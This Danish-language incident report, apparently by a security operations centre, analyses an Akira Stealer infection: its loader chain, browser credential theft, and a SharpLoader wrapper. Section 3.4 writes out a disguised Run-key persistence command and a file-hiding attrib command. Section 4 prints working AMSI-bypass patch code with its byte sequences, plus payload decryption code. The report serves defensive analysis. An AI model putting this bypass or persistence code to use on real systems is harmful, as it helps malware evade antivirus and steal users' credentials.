Inde i Akira Stealer: En komplet teknisk analyse af en modulær stealer

Det begyndte med en enkelt Defender-alarm i Microsoft 365. Ingen malware, ingen signaturer, ingen panik. Bare en hvisken i støjen. Det, vi fandt frem til, var måneders tyveri af loginoplysninger, kirurgisk, lydløst og næsten usynligt. Sådan forvandlede vores CSOC et stille signal til en fuldskala indsats. Og gav vores kunde kontrollen tilbage, før de overhovedet vidste, at den var væk.

Inde i Akira Stealer: En komplet teknisk analyse af en modulær stealer

Prolog

Det begyndte, som så mange moderne angreb gør: stille og roligt. En Defender-alarm med lav konfidens, "Suspicious sequence of exploration activities", dukkede op under onboardingfasen for en ny kunde i vores glueckkanja Cyber Security Operations Center (CSOC).

Der var ingen signaturhits. Ingen malwareklassificering. Ingen reaktion fra realtidsbeskyttelsen. Bare en enkelt adfærdskorrelation i Microsoft 365 Defender, begravet i støjen, og alligevel umiskendeligt forkert.

Under triagen af alarmen var der én bestemt handling, der fangede min opmærksomhed: python.exe havde tilgået både filen Login Data og Web Data inde i en Chromium-profil. Microsoft Defender eskalerede det med det samme til en hændelse med høj alvorlighedsgrad, "Possible theft of passwords and other sensitive web browser information."

Det var ikke en falsk positiv. Det var toppen af noget dybere.

Da jeg sporede telemetrien baglæns, fandt jeg en generisk binærfil i startmappen, Updater.exe, som startede en NodeJS-baseret wrapper (main.exe), der kørte en kommandolinje for at afvikle et script ved navn astor.py via python.exe.

Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py

Scriptet skrabede ikke bare loginoplysninger, det udførte en række rekognosceringstrin efter kompromitteringen, heriblandt registry-forespørgsler, systemfingeraftryk og privilegiebevidst optælling. Det arbejdede med kirurgisk præcision og efterlignede systemets egen adfærd for at undgå detektion. Og det virkede, næsten.

På tidspunktet for den første indsats:

  • Updater.exe blev flagget af blot 1 ud af 69 engines på VirusTotal.
  • main.exe, astor.py og alle tilhørende komponenter blev stort set ikke flagget på VirusTotal.
  • Ingen filer var signerede. Ingen forhøjet kontekst. Bare "almindelige" processer, der gjorde meget ualmindelige ting.

Updater.exe rørte ikke loginoplysningerne. Den opgave var reserveret til astor.py, den hukommelsesbaserede Python-payload, en fil der efter design næsten ikke efterlod spor.

Inden for 21 minutter blev det berørte system isoleret fra netværket. Inden for 70 minutter var loginoplysningerne roteret på tværs af alle berørte områder: interne identiteter, SaaS-platforme, tredjepartstjenester.

Men det egentlige vendepunkt kom, da vi udtrak og dekrypterede Python-payloaden fuldstændigt. Det, vi fandt, var ikke en generisk stealer, det var en skræddersyet udrulning af Akira Stealer v2, en kommercielt distribueret malwarefamilie, der sælges via Telegram.

Takket være vores interne threat intelligence og reverse engineering-kompetencer kunne vi rekonstruere malwarens fulde funktionalitet, udtrække alle indlejrede indikatorer og forstå dens logik for staging, eksfiltrering og udvælgelse af loginoplysninger i detaljer.

Endnu vigtigere: vi stoppede ikke ved den tekniske attribuering. Vi gik videre.

Vi kunne give kunden et komplet datasæt over eksfiltrerede loginoplysninger: over 100 unikke kombinationer af brugernavn og adgangskode, inklusive adgang til cloudtjenester, CRM-systemer, interne platforme og endda personlige værktøjer brugt af nøglemedarbejdere. Tyveriet havde stået på i måneder, og vi kunne gøre rede for det hele.

Med indsigterne fra denne sag byggede vi et analyseværktøj til efterforløbet af en infektion, som scanner berørte systemer, rekonstruerer mønstrene for adgang til loginoplysninger og genererer detaljerede forensiske rapporter, der kortlægger præcis hvad der blev stjålet, hvornår og hvorfra.

Vi giver et indblik i den scanner til sidst i denne rapport.

For det her er mere end bare en hændelse. Sådan efterforsker vi. Sådan beskytter vi.

Velkommen til glueckkanja CSOC.
Sådan arbejder vi, for sikkerhedsbrud venter ikke.

1. Den første hændelse og triage-sammenfatning

Den 31. marts 2025 genererede Microsoft Defender for Endpoint en alarm med betegnelsen "Suspicious sequence of exploration activities" på en 64-bit Windows 10-endpoint. Jeg indledte triagen ud fra dette signal og gennemgik det berørte system ved hjælp af procestræet, systemets tidslinje og de beviser, Defender havde korreleret.

1.1 Tidslinjebaseret triage

Alarmen pegede på en række processer, der krævede nærmere inspektion. Under den første gennemgang observerede jeg følgende adgangsmønstre til Chrome-browserdata i den lokale brugerprofil:

  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data

Disse adgange blev initieret af en proces ved navn Updater.exe. Selvom Microsoft Defender ikke havde flagget binærfilen på baggrund af heuristisk eller adfærdsmæssig analyse, fandt jeg en detektion af Updater.exe på VirusTotal, flagget af en enkelt engine på det tidspunkt.

Microsoft Defender

Hele den observerede eksekveringskæde så sådan ud:

winlogon.exe
└── userinit.exe
    └── explorer.exe
        └── Updater.exe
            └── main.exe
                └── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
                    └── python.exe Crypto\Util\astor.py

På det tidspunkt var der ikke foretaget nogen dybere statisk eller dynamisk analyse af de involverede filer. Mit fokus lå på at forstå adfærden og konteksten på et overordnet niveau. Procesnavne og filstier var generiske, og der var ingen mistænkelige kommandolinjeargumenter ud over den kædede Python-eksekvering.

1.2 Den første indsats

Inden for 21 minutter efter den første alarm igangsatte jeg isolering af hosten med isoleringsfunktionerne i Defender for Endpoint. Formålet var at forhindre yderligere spredning eller eksfiltrering.

Inden for de første 70 minutter gik vi videre med at rotere de loginoplysninger, vi vidste blev brugt på den berørte host, hvilket dækkede interne systemer, SaaS-platforme og kritiske tredjepartsleverandører.

Reverse engineering-arbejdet begyndte efter den første inddæmning. De følgende afsnit dokumenterer den tekniske fordybelse, der fulgte for at efterforske sikkerhedsbruddet.

1.3 Sammenfatning af indsatsen: hurtig, transparent, effektdrevet

Vores indsats kombinerede hastighed, ekspertise og operationel styrke, understøttet af gennemprøvede arbejdsgange og fuld indsigt for kunden.

  • Fra detektion til fuld inddæmning på under 90 minutter Defender-alarmer, netværksisolering, antivirusscanning og tilbagekaldelse af loginoplysninger blev udført hurtigt og koordineret.
  • Dybdegående forensisk indsats inden for 48 timer Inklusive fuld disk- og hukommelsesanalyse, gennemgang af browserartefakter, detektion af credential dumping og adfærdsmæssig rekonstruktion af angriberens aktivitet.
  • Sikker datagendannelse og bevishåndtering De stjålne data, herunder cookies, adgangskoder, tokens og browserprofiler, blev gendannet, arkiveret forensisk og overleveret sikkert til kunden.
  • Indsigt og kommunikation hele vejen igennem Hvert skridt, fra første alarm til afhjælpning og debriefing, blev dokumenteret fuldt ud, delt i realtid og sammenfattet i en struktureret CSIRT-overdragelse.

Denne hændelse viser, hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer dens virkninger, giver vores kunder kontrollen tilbage og forvandler enhver hændelse til indsigt.

2. Malwarens arkitektur og eksekveringskæde

Den malware, der blev observeret på den berørte endpoint, fulgte en struktureret arkitektur i flere trin med en klar ansvarsfordeling: udrulning, afkodning, eksekvering og dataeksfiltrering.

2.1 Overblik over eksekveringskæden

Det observerede eksekveringsflow så sådan ud:

Updater.exe

​   └── main.exe
​       └── cmd.exe
​           └── python.exe astor.py

Hver komponent i kæden bidrog til stealth, modularitet og omgåelse. Arkitekturen udnyttede legitime runtimes og operativsystemets standardfortolkere til at omgå detektionsmekanismerne.

2.1.1 Usikkert ophav: den manglende initiale vektor

Trods en omfattende analyse af miljøet efter kompromitteringen kunne den initiale adgangsvektor ikke fastslås med sikkerhed. Usikkerheden skyldes først og fremmest, at malwaren havde været aktiv i anslået seks måneder, før den blev opdaget, hvilket overstiger den logopbevaringsperiode, Microsoft Defender for Endpoint håndhæver.

Derfor var der ingen telemetri eller forensiske artefakter tilgængelige fra det oprindelige infektionstidspunkt. Hverken de oprindelige procesoprettelseshændelser, fildrops eller kommandolinjeposter fra leveringsfasen kunne genskabes fra Defenders tidslinje eller tilknyttede sensorer.

Ud fra kontekstuelle indikatorer og OSINT-kilder kan en sandsynlig infektionsvektor have involveret:

  • Trojaniserede installationsprogrammer til cracket eller moddet spilsoftware
  • Falske værktøjer eller "performance boosters" distribueret via fora og tredjepartssider
  • Ondsindede browserudvidelser rettet mod bestemte brugerinteresser (for eksempel kryptorelaterede værktøjer eller Discord-udvidelser)

Det forbliver dog spekulationer.

Der kunne ikke identificeres nogen bekræftet dropper, phishingmail eller kompromitteret hjemmeside under efterforskningen. Selvom malwarens arkitektur og eksekveringskæde blev rekonstrueret fuldstændigt, kunne det oprindelige kompromitteringspunkt (MITRE ATT&CK T1190 / T1566) ikke valideres.

2.1.2 Updater.exe – initial loader

Da jeg gennemgik procestræet i Microsoft 365 Defender, skilte Updater.exe sig ud med det samme, ikke på grund af hvad den gjorde, men på grund af hvor stille den havde indlejret sig i systemets eksekveringsflow.

Binærfilen var registreret til automatisk kørsel via Windows' standard Run-nøgle:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Det betød, at den ville starte, hver gang brugeren loggede ind i sin session, en klassisk persistensmekanisme, der ikke kræver forhøjede rettigheder og ofte glider ubemærket gennem EDR-telemetrien.

  • Filtype: Windows PE-eksekverbar fil (32-bit)
  • Signatur: Usigneret
  • VirusTotal-detektion: 1 ud af 69 engines på triagetidspunktet
  • Eksekveringskontekst: Medium integritet, brugersession
  • Placering: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Selve filen var lille, rent kompileret og ubemærkelsesværdig ud fra en statisk analyse. Ingen mistænkelige strenge, ingen krypterede sektioner og ingen tegn på obfuskering eller packing. Den importerede kun et minimalt sæt af Windows' standard-API-funktioner og indeholdt ingen indlejret payload.

Dens adfærd var til gengæld mere sigende. Så snart den var startet, udpakkede Updater.exe en Electron-applikation fra et medfølgende arkiv, en selvstændig NodeJS-runtime pakket med standardværktøjerne til Electron. Den udpakkede mappe indeholdt en eksekverbar fil ved navn main.exe, som derefter blev startet som en underproces.

Updater.exe → main.exe

Der var ingen netværksindikatorer på dette tidspunkt, ingen procesinjektion og ingen afvigelser i rettigheder eller tokenforhøjelse. Hele rollen for Updater.exe så ud til at være loaderens: at levere en andentrinskomponent (main.exe) ind i miljøet, sandsynligvis med det formål at bevare stealth og modularitet.

Den slags arkitektonisk opdeling er udbredt i moderne masseproduceret malware og stealer-værktøjskasser. Den initiale loader fungerer blot som en udrulningsstub, så den tungere logik, der ofte er obfuskeret, fortolket eller dynamisk genereret, kan ligge i senere trin.

I dette tilfælde tjente Updater.exe præcis det formål: et stille, indledende fodfæste bygget til at gå i ét med omgivelserne, forblive uopdaget og bane vejen for eksekveringen af den egentlige stealer-logik i main.exe og til sidst astor.py.

Den rørte ikke filsystemet ud over sin egen mappe og udløste ingen adfærdsregler, og alligevel var den den første brik, der væltede i en lang og omhyggeligt konstrueret angrebskæde.

2.1.3 main.exe – obfuskeret NodeJS-payloadbeholder

Efter eksekveringen af Updater.exe blev en andentrinsbinær ved navn main.exe startet. Komponenten fremstod som en helt almindelig Electron-applikation, et runtime-miljø der samler Node.js og Chromium og ofte bruges til desktopapps på tværs af platforme. Dens uskyldige karakter er en del af det, der gør den så farlig i de forkerte hænder.

Ved nærmere inspektion indeholdt main.exe et internt arkiv ved navn app.asar, standardformatet til pakning af Electron-baserede applikationer. Til forskel fra legitime Electron-apps var indholdet af dette arkiv dog alt andet end almindeligt.

  • Platform: Electron (Node.js + Chromium)
  • Arkitektur: 64-bit Windows
  • Indholdsstruktur: Indlejrede JavaScript-filer i app.asar
  • Obfuskeringsniveau: Højt, opnået med js-confuser, en kommercielt tilgængelig obfuskeringsværktøjskasse til JavaScript

Da den var dekompileret og deobfuskeret, blev kernelogikken i main.exe tydelig. Formålet var ikke at vise en brugerflade eller køre frontendlogik, den fungerede derimod som en skjult eksekveringsorkestrator.

Observeret adfærd:

  • Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando, der er gemt i JavaScript-payloaden
  • Starter cmd.exe for at køre PowerShell-kommandoen inline
  • PowerShell-kommandoen kalder til gengæld python.exe og sender et script med, der ligger under en tilsyneladende harmløs mappestruktur (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py

Kædningen gjorde det muligt for angriberen at skifte eksekveringskontekst og undgå ligefrem detektion. Fordi payloaden var obfuskeret og staged i hukommelsen, var traditionelle signaturbaserede kontroller virkningsløse.

Electron-frameworket leverede den ideelle dækhistorie, det tillod eksekvering af vilkårlig JavaScript uden at tiltrække opmærksomhed. JavaScript-baseret eksekvering gav desuden kompatibilitet på tværs af platforme, hvilket muliggjorde fleksibel udrulning og lettere integration af dynamisk styringslogik.

Det, der gjorde main.exe særligt farlig, var evnen til at arbejde uden at droppe flere filer end dem, der allerede var staged. Stealer-scriptet blev kaldt direkte fra disk, men al staging- og eksekveringslogik forblev indlejret i Electron-bundtet.

Kort sagt fungerede main.exe som den obfuskerede eksekveringskerne i flere lag, som portvagt mellem den initiale persistens og den fulde aktivering af Akira Stealer-payloaden i astor.py.

2.1.4 cmd.exe og PowerShell-relæ

Dette trin i eksekveringskæden fungerede som et relæ, ikke for payloadlogik, men for obfuskering og indirekte kald.

Efter at main.exe havde afsluttet sin rolle med at udpakke og afkode payloaden, startede den en cmd.exe-proces. Processen indeholdt ikke selv nogen ondsindet logik, og den hverken skrev eller ændrede filer. Dens eneste formål var at fungere som wrapper omkring en PowerShell-session med en kodet kommando.

Metoden er en velkendt taktik, der bruges til at reducere synlighed og undgå detektion:

  • Eksekveringskæde:
    main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>"
    
  • Formål:
    • Indkapsler PowerShell-eksekveringen i endnu en shell
    • Skjuler den egentlige PowerShell-kode fra direkte synlighed i logfilerne
    • Omgår EDR-løsninger, der udløses af direkte brug af powershell.exe med mistænkelige parametre

Ved at indlejre PowerShell-scriptet som en Base64-kodet streng og kalde det gennem cmd.exe undgik angriberen flere former for detektion:

  • Heuristiske filtre på kommandolinjen
  • Standardlogning (for eksempel Event ID 4104, 4688)
  • Regelbaserede detektioner af powershell.exe-argumenter som -NoProfile, -ExecutionPolicy Bypass eller inline-scripts

Bemærkelsesværdigt nok blev PowerShell-kommandoen holdt minimal og alene rettet mod at starte python.exe med en sti til det indlejrede stealer-script, astor.py. Der blev ikke indlæst yderligere moduler, og der var ingen tydelige signaturer i hukommelsen.

Relæteknikken bruges både i red teaming og af avancerede infostealere, som et let omgåelseslag der er nemt at implementere, men svært at fange uden korrelation af telemetri.

I dette tilfælde tjente cmd.exe præcis det formål: en simpel, lydløs bro mellem JavaScript-logik og Python-eksekvering, en der næsten slap ubemærket igennem.

2.1.5 python.exe med astor.py

Det sidste og mest virkningsfulde trin i eksekveringskæden blev nået, da python.exe kaldte astor.py, en Python-baseret, modulær infostealer der udelukkende arbejder i hukommelsen. Scriptet udgjorde den operationelle kerne i hele angrebskæden.

Til forskel fra mange masseproducerede stealere blev astor.py ikke udrullet i klartekst. Den var beskyttet af en dekrypteringsmekanisme i flere lag:

  • Dekrypteringsstak: Filen blev først GZIP-komprimeret og derefter krypteret med AES-256-CBC.
  • Nøgleafledning: Der blev brugt en PBKDF2-baseret nøgleafledning (SHA-512, 1.000.000 iterationer), hvilket gør statisk analyse og brute force yderst upraktisk.

Når scriptet først var dekrypteret ved kørsel, eksekverede det flere specialiserede moduler, alle rettet mod følsomme datakilder:

Kernefunktioner

  • Udtræk af browserdata: Hentede loginoplysninger, cookies og autofyld-data fra Chromium-baserede browsere (Chrome, Edge, Brave, Opera)
  • Indsamling af tokens: Samlede sessionstokens, især fra Discord, og ledte efter udvidelser til kryptovalutawallets
  • Datapakning: Samlede alle indsamlede data i et struktureret ZIP-arkiv og bevarede mappe- og filkonteksten, så angriberen kunne parse dem
  • Eksfiltrering: Uploadede det færdige arkiv til offentlige API'er og infrastruktur.

Eksekveringskontekst

Hele stealer-logikken kørte fra hukommelsen, uden at skrive persistente filer til disk. Den efterlod minimale telemetrispor ud over artefakter i proceshukommelsen og helt almindelige kald af underprocesser. Der blev ikke gjort forsøg på at etablere persistens i dette trin, målet var hurtigt, effektivt og lydløst datatyveri.

Brugen af legitime API'er til eksfiltrering gjorde det også betydeligt sværere at opdage og forhindre, fordi den udgående trafik gik i ét med helt almindelig internetaktivitet.

Dette trin bekræftede endeligt malwarens identitet: en variant af Akira Stealer v2, kendt for sin:

  • Høje modularitet
  • Obfuskering ved kørsel
  • Kommercielle distribution via Telegram
  • Stærke fokus på indsamling af loginoplysninger og tokenbaseret sessionskapring

Sammen med de tidligere trin udgjorde astor.py det kritiske endepunkt i en lydløs og velkonstrueret infostealer-kæde. I de følgende afsnit dissekerer vi komponenten yderligere og forklarer, hvordan vi reverse engineerede dens logik, kortlagde dens infrastruktur og genskabte hver eneste kompromitteringsindikator, den brugte undervejs.

3. Deep Dive: Updater.exe

Updater.exe var den første binærfil, vi observerede under analysen efter kompromitteringen. Trods sit neutrale udseende og forsvindende lille detektionsaftryk spillede den en afgørende rolle i at opretholde malwarens operationelle persistens og levere payloaden til næste trin.

3.1 Egenskaber

EgenskabVærdi
Format:Windows Portable Executable (PE32)
Arkitektur:x86-64
Størrelse:~154 KB
Entropi:Normal (ikke packed)
Signaturer:Ingen
VirusTotal-detektion:1/69 på analysetidspunktet

Filen havde en ren importtabel og ingen indlejrede strengindikatorer. Der blev ikke fundet kendte packers, crypters eller mekanismer til obfuskering ved kørsel. Strukturen svarede til specialkompilerede binærfiler.

3.2 Adfærdsanalyse

Ingen brugerinteraktion nødvendig

Malwarekæden kørte, uden at brugeren behøvede at foretage sig noget. Ud fra Defenders procestelemetri blev den første binærfil (Updater.exe) startet automatisk, efter al sandsynlighed via en persistensmekanisme som en autorun-nøgle i registry. På grund af kompromitteringens alder og de manglende historiske hændelseslogfiler kunne den præcise persistensmetode dog ikke genskabes.

Lydløs eksekvering og staging

Ved kørsel startede Updater.exe straks main.exe uden noget synligt vindue og uden dialoger til brugeren. Staging skete lydløst i baggrunden. Der var intet spor af samtykkedialoger, UAC-prompter eller grafiske komponenter.

Adfærd ved udrulning af payload

main.exe viste sig at være en del af en Electron-applikationsstruktur, men det præcise ophav for udrulningen er stadig uklart. Et af følgende antages:

  • Payloaden kan have været pakket internt i Updater.exe (for eksempel som en indlejret ressource), eller
  • den kan være hentet fra en ekstern kilde

Uden netværkstelemetri og uden nogen genfundet hardkodet URL forbliver leveringsvektoren for Electron-appen uafklaret.

Adfærd i proceskæden

Når Updater.exe først var kørt, startede den main.exe som underproces. Kaldet var ikke-interaktivt, og ingen af processerne i kæden viste aktivitet i brugerfladen. Proceskæden fortsatte som forventet:

Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py

Alle eksekveringstrin fungerede uden at kræve input fra brugeren og byggede udelukkende på forudkonfigureret startlogik og lydløse eksekveringsveje. Det minimerede eksponeringen og hjalp malwaren med at forblive uopdaget i en længere periode.

3.3 Rollen i infektionskæden

Updater.exe spillede én enkelt, men helt central rolle i den bredere infektionskæde: den stod for persistensen og genudrulningen af trin 2-komponenten, main.exe.

Bekræftede kendetegn

  • Den indeholdt eller kørte ikke ondsindet logik direkte
  • Den udførte ingen dataeksfiltrering
  • Den interagerede ikke med browserens credential stores eller følsomme brugerdata

Dens eneste formål var lydløst at starte main.exe, når brugeren loggede ind, og den mest sandsynlige persistensmetode var en autorun-post i registry (selvom den ikke blev genfundet direkte på grund af begrænsninger i telemetrien).

Ved at fungere som en isoleret loader i første trin sikrede Updater.exe, at selve stealer-payloaden (astor.py) forblev skjult i dybere eksekveringslag. Denne opdeling af opgaver gjorde det muligt for angriberne at:

  • Undgå korrelation fra statisk AV eller sandkassesystemer
  • Udskifte eller opdatere payloads uden at ændre loaderen
  • Reducere adfærdssignalerne ved indgangspunktet

Mønstret er typisk for malware-as-a-service (MaaS)-operationer, hvor leveringsmekanismerne er generiske, og payloads er modulære eller kundespecifikke.

I dette tilfælde leverede Updater.exe præcis nok logik til at fungere som et pålideligt og lydløst indgangspunkt: ikke mere, men heller ikke mindre.

3.4 Persistens via registry (bekræftet i astor.py)

Statisk analyse af Python-payloaden viste, at Updater.exe udtrykkeligt gøres persistent med en autorun-post i registry:

  • Registry-sti: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Værdinavn: Realtek Audio
  • Payload-sti: %APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Den tilhørende registry-kommando køres via PowerShell:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f

Det sikrer, at malwaren startes ved hvert brugerlogin. Filen markeres desuden med attributterne hidden og system for yderligere at undgå detektion:

attrib +h +s "Updater.exe"

Denne persistensmekanisme var indlejret direkte i astor.py-koden, hvilket bekræfter, at stealeren i sidste trin aktivt holder loaderen til stede på disken og i startup-delen af registry.

3.5 Sammenfatning

Selvom Updater.exe ikke i sig selv var ondsindet i struktur eller indhold, bekræftede dens adfærd i konteksten af eksekveringskæden rollen som malware loader.

Binærfilen fungerede som en ren, minimalistisk launcher i første trin, der undgik detektion fra statisk analyse, AV-engines og adfærdsregler. Designet var udelukkende rettet mod stealth og operationel understøttelse, ikke mod selv at køre ondsindet logik.

Dens rolle rakte dog videre end den indledende udrulning. Under reverse engineering af astor.py-payloaden fandt vi logik, der aktivt kontrollerede, om Updater.exe var til stede. Kontrollen var en del af en bredere health- og self-healing-cyklus i stealer-koden, en mekanisme bygget til at verificere infektionskædens integritet og genskabe manglende komponenter efter behov.

Det betyder, at Updater.exe ikke kun stod for at sætte malwaren i gang, men også indgik i dens løbende validering ved kørsel. Uden denne stub kunne malwaren miste evnen til at initialisere sig selv igen i fremtidige sessioner.

Centrale funktioner i Updater.exe:

  • Gnidningsfri udrulning af main.exe
  • Indirekte eksekvering af astor.py
  • Afkobling af loader- og payloadlogik
  • Refereret af payloaden selv som en del af den operationelle health-overvågning

I afsnit 5 gennemgår vi stealerens interne health check-rutiner i detaljer, herunder dens self-healing-adfærd og mekanismer til integritetsvalidering.

Indtil videre står det klart, at Updater.exe fungerede som både tændrør og ankerpunkt i denne lagdelte infostealer-arkitektur.

3.6 Et udtrækstrick: at overliste loaderen

Nogle gange kommer de bedste resultater inden for reverse engineering ikke fra dyb disassemblering af binærfiler, men fra en smule snuhed og tålmodighed.

Da vi analyserede infektionen i et kontrolleret labmiljø, bed vi mærke i noget mærkeligt: Updater.exe var til stede og kørte, men main.exe var forsvundet fra filsystemet. Så fik vi en idé: hvad sker der, hvis vi lader malwaren reparere sig selv?

Vi slettede bevidst main.exe fra det inficerede miljø og lod Updater.exe være urørt. Og ganske rigtigt, efter næste login i brugersessionen gik loaderen i gang, ikke med et raserianfald, men med et stille forsøg på at genopbygge sit andet trin.

Her blev det interessant: i stedet for direkte at genskabe main.exe droppede Updater.exe først en fil ved navn app-64.7z, et ganske almindeligt 7-Zip-arkiv. Arkivet indeholdt hele Electron-applikationsstrukturen, herunder main.exe, resources og app.asar-payloaden med al indlejret logik.

Vi havde i praksis tvunget malwaren til at række os kildepakken.

Mistænkelig Updater-eksekverbar fil opdaget

Med 7z-arkivet i hånden kunne vi udtrække, dekomprimere og reverse engineere hele den JavaScript-baserede orkestreringslogik uden overhovedet at røre den oprindelige loader igen. Arkivstrukturen svarede præcist til det forventede layout for en Electron-app.

Adfærden peger stærkt på, at angriberne bevidst valgte en modulær arkitektur, der er til at vedligeholde, og brugte arkiver som fleksible payloadbeholdere. Det gjorde det også muligt for dem at udskifte eller opdatere payloadkomponenter uden at kompilere loader-binærfilen igen.

Og i vores tilfælde? Det gjorde det muligt at overliste deres kæde, opsnappe droppet og gå derfra med hele pakken, som at stjæle tegningerne fra høvlebænken, mens håndværkeren kiggede den anden vej.

Lad os bare sige det sådan: nogle gange er de bedste forensiske værktøjer del, wait og en smule nysgerrighed.

4. Deep Dive: pow.bat

I den analyserede malwarekampagne fungerer komponenten Invoke-SharpLoader som en specialbygget, hukommelsesresident .NET-loader med et stærkt modulært og undvigende eksekveringsflow. Dette afsnit dissekerer dens interne arkitektur, dens anti-analysestrategi via AMSI-patching og dens rolle i at bane vejen for payloaden i andet trin.

4.1 Binære egenskaber – SharpLoader Batch Wrapper

Før den køres for at indlæse .NET-payloaden i hukommelsen, har den ydre wrapper pow.bat følgende kendetegn ifølge den statiske analyse:

EgenskabVærdi
Format:DOS-batchfil
Arkitektur:Scriptbaseret (ikke kompileret binærfil)
Filstørrelse:27.79 KB (28454 bytes)
Entropi:Normal (ren ASCII-tekst)
Magic:DOS batch file, ASCII text
Digital signatur:Ingen fundet
VirusTotal-detektion:26 / 61 (på analysetidspunktet)
Trusselslabels:trojan, downloader, powershell, agentb

Selvom der bare er tale om en .bat-fil, undgår scriptet mange statiske detektioner og læner sig kraftigt op ad living-off-the-land-teknikker som PowerShell til at hente og køre obfuskerede og krypterede payloads.

4.2 AMSI Bypass-teknik (klassen gofor4msi)

En af de første forsvarsmekanismer, SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funktion der er integreret i scriptmotorer som PowerShell og Windows Script Host for at scanne indhold i realtid for mistænkelig adfærd. Malwareudviklere forsøger ofte at omgå AMSI for at undgå detektion fra endpoint-beskyttelsessystemer.

I SharpLoader implementeres AMSI-omgåelsen gennem direkte patching i hukommelsen af funktionen AmsiScanBuffer i amsi.dll. Funktionen står normalt for at analysere scriptindhold og returnere en resultatkode, der angiver, om indholdet er mistænkeligt (AMSI_RESULT_DETECTED) eller sikkert (AMSI_RESULT_CLEAN).

Den relevante kode til patching i hukommelsen er:

var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);

Sekvensen udfører følgende trin:

  1. Indlæs AMSI-DLL'en i processen med LoadLibrary("amsi.dll").
  2. Slå hukommelsesadressen op for funktionen AmsiScanBuffer via GetProcAddress().
  3. Ændr hukommelsesbeskyttelsen for adressen med VirtualProtect(), så den bliver skrivbar.
  4. Overskriv begyndelsen af funktionen med Marshal.Copy() og en lille shellcode-patch.

Den patch, der anvendes på 64-bit-systemer, er:

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret

Det svarer til følgende instruktioner:

  • mov eax, 0x80070057 → sætter returkoden til Windows-fejlkoden E_INVALIDARG
  • ret → returnerer omgående fra funktionen

Det får i praksis AmsiScanBuffer til at fejle lydløst og returnere et resultat uden detektion, hvilket neutraliserer AMSI-kontrollerne. Malwaren kan nu køre scripts eller .NET-kode, der ellers ville udløse antivirusalarmer.

Køres koden på et 32-bit-system, anvendes en anden patch:

static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18

Formålet er det samme, at fremtvinge et rent resultat, men tilpasset x86-kaldekonventionen.

Brugen af rå P/Invoke-kald som LoadLibrary, GetProcAddress og VirtualProtect gør, at patchingen kan foregå dynamisk og uden at kalde højniveau-API'er, som EDR-værktøjer kunne overvåge. Metoden er kompakt, effektiv og efterlader minimale forensiske artefakter.

Kort sagt er denne AMSI-omgåelse et lavniveauangreb rettet direkte mod antivirus-grænsefladen i hukommelsen, udført på millisekunder under kørsel. Det er et stærkt eksempel på, hvorfor adfærdsovervågning og inspektion af hukommelsen er afgørende i moderne endpoint-forsvar.

4.3 Håndtering af payloaden i trin 2

Når AMSI-omgåelsen er gennemført, går loaderen videre med at hente og klargøre payloaden til andet trin. Payloaden er ikke indlejret i selve loaderen, men hentes enten fra en fjernserver eller læses fra disk, afhængigt af hvordan loaderen kaldes via parameteren $location.

Begynder placeringen med http, tolkes den som en URL, og loaderen bruger Get_Stage2() til at hente payloaden via HttpWebRequest. Er der tale om en lokal sti, læser Get_Stage2disk() indholdet direkte fra filsystemet. I begge tilfælde er det forventede filindhold en blob, der er Base64-kodet, GZip-komprimeret og AES-krypteret.

Loaderen kører derefter en afkodnings- og dekrypteringspipeline i fire trin, udelukkende i hukommelsen:

  1. Base64-afkodning: Konverterer den kodede streng til rå bytes. Trinnet er lavet for at skjule det egentlige binære indhold for statiske inspektionsværktøjer og forhindre ligefrem mønstergenkendelse.
  2. GZip-dekomprimering: De afkodede bytes sendes til en GZipStream, der pakker payloaden ud. Komprimeringen mindsker filstørrelsen og lægger endnu et lag obfuskering til.
  3. AES-dekryptering: De komprimerede bytes dekrypteres med AES (Rijndael) i CBC-tilstand. Nøglen afledes ved kørsel af den adgangskode, brugeren angiver, via SHA-256-hashing kombineret med PBKDF2 (Rfc2898DeriveBytes) og et statisk salt.
  4. Fjernelse af salt: Det dekrypterede resultat indeholder stadig et salt-præfiks med fast længde (4 bytes). De bytes fjernes manuelt for at få den rene binære blob, der udgør en gyldig .NET-assembly.

Dekrypteringspipelinen kører sådan her:

byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);

Her er AES_Decrypt() en specialbygget funktion, der indkapsler Rijndael-algoritmen, konfigureret med en 256-bit nøgle og en 128-bit IV (initialiseringsvektor), begge afledt af adgangskoden.

Centrale observationer om designet:

  • Brugen af AES-CBC med PBKDF2 gør det alt andet end trivielt at brute force adgangskoden.
  • Fordi dekrypteringen sker i hukommelsen, skrives ingen mellemresultater nogensinde til disk, hvilket reducerer de forensiske artefakter.
  • Angives den forkerte adgangskode, fejler dekrypteringen lydløst eller producerer ugyldige data, hvilket kan føre til mislykket eksekvering eller svært sporbare exceptions.

